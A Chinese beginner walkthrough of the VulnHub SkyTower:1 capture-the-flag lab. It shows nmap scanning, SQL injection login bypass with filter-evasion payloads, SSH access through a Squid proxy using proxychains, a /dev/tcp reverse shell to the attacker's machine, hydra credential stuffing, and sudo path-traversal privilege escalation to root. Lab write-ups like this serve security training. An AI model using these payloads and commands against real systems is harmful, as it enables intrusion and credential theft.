SkyTower1靶场练习&小白向&靶场安装&sql语句被过滤&万能SQL密码

下载链接：

SkyTower: 1 ~ VulnHub

安装：

下载解压后打开vxbox，新建虚拟机，系统选择linux，使用已有虚拟硬盘文件

选择解压后的vdi文件

后直接创建

设置中的网络链接模式根据自己情况定

我这里选择的是桥接模式

完成后直接启动即可

正文：

先用nmap扫描靶机ip

nmap -sn 192.168.1.1/24

获取到靶机ip后，对靶机的端口进行扫描，并把结果输出到skytower1文件夹下，命名为port方便后续查看

nmap -p- 192.168.1.4 -r -PN -oA skytower1/port

（-p-：对所有端口进行探测

   -PN：用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测，而是直接扫描指定的目标

    -oA：输出到指定位置

     -r：连续扫描端口，并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

）

对端口指纹进行详细探测,并把结果输出到skytower1文件夹下，命名为server方便后续查看

nmap -p 22,80,3128 192.168.1.4 -sC -sV -r -O --version-all -A -oA skytower1/server

 （-p：对指定的端口进行探测

   -sV：版本信息

   -sC：默认脚本扫描

    -A：启动Os检测，版本检测，脚本扫描和traceroute

   -O：探测操作系统信息

   --version-all：尽可能多的探测信息）

经过查询得知3128端口为一个代理端口，结合22端口的状态为filtered，那么大概率22端口是被过滤掉了

使用默认漏洞脚本对端口进行探测

nmap -p 22,80,3128 192.168.1.4 --script=vuln

我们发现80端口下的login.php有sql注入漏洞，注入点为email

访问80端口

是个朴实无华的登录框

进行目录扫描，并没有新发现

dirsearch -u "192.168.1.4"

既然这里有sql注入，打开bp抓包，抓取登录数据包

将该数据保存到sqlmap目录下的1.txt，然后运行sqlmap进行注入尝试

python sqlmap.py -r 1.txt --dbs --batch

注入失败，我们进行抓包手动尝试

右键将该数据发送到重放器中

在重放器中修改emali参数，在emali参数后加单引号

证实了这里确实有sql注入漏洞

既然sqlmap跑不出来，那我们进行万能密码尝试

admin'+or+'1'='1

同样不可行，换一种万能密码

admin'+or+'1'='1'--+

根据返回的信息得知，万能密码的or位置被替换为了空格并且等于号也被过滤掉了

将or双写以及等于号替换为like再次进行尝试

admin'+oorr+'1'like'1'--+

后面的 --+同样被屏蔽掉了，那将--+去掉，并删除最后一个单引号，让他重新进行闭合状态

admin'+oorr+'1'like'1

看样子是登录成功了，返回80界面进行尝试

登陆失败？

打开bp抓登陆包，然后再bp中修改发包信息

进行发包尝试

登录成功

获取到一个账号以及密码

john：hereisjohn

获取shell

尝试进行ssh登录

但是是没法登陆的，因为在最开始的nmap扫描结果中，22端口是被过滤掉的，但是3128端口是一个代理端口，那我们可以尝试下用该端口进行代理访问22端口

先打开proxychains的配置文件进行配置代理

vim /etc/proxychains.conf

在最下方添加一条（单机键盘上的“i”键即可进行修改操作，修改完成后按“esc”然后输“:wq”即可保存退出）

http 192.168.1.4 3128

并且把socks4这一条进行屏蔽（在指令前加井号即可屏蔽）

保存退出

先用nmap进行扫描对我们的猜想进行验证

proxychains nmap -PN 192.168.1.4 -p22 --min-rate 3000 -sT

果然，22端口状态变为open

尝试对我们获取到的账号密码进行登录

john:hereisjohn

proxychains ssh john@192.168.1.4

登是登录上了，但是我们被直接退出来了

但是在进行ssh登陆时可以携带一条指令

再次进行尝试

proxychains ssh john@192.168.1.4 whoami

既然可以执行，那我们执行一个反弹shell

新打开一个窗口进行nc监听

nc -lvvp 8080

然后回到刚才的窗口进行反弹shell

proxychains ssh john@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

输入密码

回到nc

反弹成功

经过查询，在该文件夹下的.bashrc文件是导致我们ssh连接时直接给我们断开的罪魁祸首

查看该文件

cat .bashrc

是不是很熟悉？我们之前直接进行ssh登录时返回的语句可不就是这个么

我们对该文件直接重命名给或者删除

mv .bashrc .bashrc.bak

然后退出nc，回到ssh界面，再次尝试登录

proxychains ssh john@192.168.1.4

登录成功

提权

查看具有suid权限的文件，看下有没有什么提权可以用的文件

find / -perm -u=s -type f 2>/dev/null

查看计划任务

cat /etc/crontab

都没有我们可以利用的东西

既然在80端口有sql注入漏洞，那么在login下大概率会有mysql的账号密码

查看下login.php文件进行确认

切换到目录 /var/www

cd /var/www

查看login.php文件

cat login.php

确实存在，账号密码都为root

我们进行mysql登录

mysql -u root -p

输入密码root

登陆成功

查看数据库

show databases;

show databases;

show tables;

select * from login;

将账号密码都进行保存

打开新窗口

vim user.txt

将账号保存进去

vim pass.txt

将密码保存进去

我们可以进行对ssh端口进行挨个尝试

看能不能撞库成功（可以直接在80端口上进行登录，最后也是会获取到同样的账号密码，我这里习惯的先进行撞库）

proxychains hydra -L user.txt -P pass.txt ssh://192.168.1.4 -v

成功，既然我们登陆过john，那我们再次尝试登录sara

proxychains ssh sara@192.168.1.4

既然还是同样的方式给我们提出来了，我们再次用同样的方法进行反弹shell

打开nc监听

nc -lvvp 8080

proxychains ssh sara@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

反弹成功

同样的方法删除或者重命名.bashrc文件

mv .bashrc .bashrc.bak

退出nc，再次尝试ssh登录

proxychains ssh sara@192.168.1.4

登陆成功

查看下该用户的权限

既然他又这个权限（用root权限执行/bin/cat /accounts/*  不需要密码）

那我们可以尝试用这个进行提权

sudo /bin/cat /accounts/ ../../etc/passwd

发现该方法确实可行

我们可以用该方法去查看下root目录有什么文件，只需要将”cat“替换为”ls“

sudo /bin/ls /accounts/ ../../root

有个flag文件，我们进行查看

sudo /bin/cat /accounts/ ../../root/flag.txt

root的密码竟然藏在这里

将账户切换为root

su root

输入密码theskytower

成功